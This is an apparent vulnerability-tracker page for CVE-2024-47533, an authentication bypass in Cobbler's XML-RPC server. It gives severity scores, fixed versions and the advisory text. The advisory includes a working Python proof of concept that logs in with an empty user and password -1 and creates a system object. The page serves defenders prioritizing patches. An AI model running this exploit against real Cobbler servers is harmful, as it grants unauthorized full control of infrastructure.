All vulnerabilities
CVE-2024-47533GHSA-m26c-fcgh-cp6hPYSEC-2026-316

cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes

cobbler cobblerpipLibraries & packages
CVSS
9.8Critical
ExploitationPublic exploit codeCISA's assessment says proof of concept code is public, assessed 18 Nov 2024. Not in the KEV catalogCISA via CVE List
Exploit odds (EPSS)4.00%Chance of exploitation activity in the next 30 days, higher than 90% of CVEs. Scored 27 Oct 2026FIRST EPSS
Fixed in3.3.7Also 3.2.3GitHub
Published18 Nov 2024Updated 27 Oct 2026CVE List

What fixes it

  • 3.3.7cobbler, pipGitHub
  • 3.2.3cobbler, pipGitHub
  • 3.3.7cobbler, PyPIOSVpip install "cobbler>=3.3.7"
  • 3.2.3cobbler, PyPIOSVpip install "cobbler>=3.2.3"

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Public exploit code and templates 1

  • Scanner templateCobbler 'XML-RPC' - Authentication BypassNuclei

Listed so defenders can prioritize. Threatline links to the source and does not host exploit code.

Description

Summary

utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.

Details

utils.py get_shared_secret:

def get_shared_secret() -> Union[str, int]:
    """
    The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange
    between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.
    For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.

    :return: The Cobbler secret which enables full access to Cobbler.
    """

    try:
        with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd:
            data = fd.read()
    except:
        return -1
    return str(data).strip()

Always returns -1 because of the following exception:

binary mode doesn't take an encoding argument

This appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.

PoC

#!/usr/bin/python3

import ssl
import xmlrpc.client

params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }
ssl_context = ssl._create_unverified_context()

url = '{proto}://{host}:{port}/cobbler_api'.format(**params)
if ssl_context:
    conn = xmlrpc.client.ServerProxy(url, context=ssl_context)
else:
    conn = xmlrpc.client.Server(url)

try:
    token = conn.login(params['username'], params['password'])
except xmlrpc.client.Fault as e:
    print("Failed to log in to Cobbler '{url}' as '{username}'. {error}".format(url=url, error=e, **params))
except Exception as e:
    print("Connection to '{url}' failed. {error}".format(url=url, error=e, **params))

print("Login success!")

system_id = conn.new_system(token)

Impact

This gives anyone with network access to a cobbler server full control of the server.

Text from GitHub Advisory Database

Affected versions 16

  • cobbler, pip>= 3.3.0, < 3.3.7GitHub
  • cobbler, pip>= 3.0.0, < 3.2.3GitHub
  • cobbleraffected: >= 3.0.0, < 3.2.3CVE List
  • cobbleraffected: >= 3.3.0, < 3.3.7CVE List
  • cobbler, PyPIfrom 3.3.0, fixed in 3.3.7OSV
  • cobbler, PyPI3.3.0OSV
  • cobbler, PyPI3.3.1OSV
  • cobbler, PyPI3.3.2OSV
  • cobbler, PyPI3.3.3OSV
  • cobbler, PyPI3.3.4OSV
  • cobbler, PyPI3.3.5OSV
  • cobbler, PyPI3.3.6OSV
  • cobbler, PyPIfrom 3.0.0, fixed in 3.2.3OSV
  • cobbler, PyPI3.1.2OSV
  • cobbler, PyPI3.2.1OSV
  • cobbler, PyPI3.2.2OSV

References 7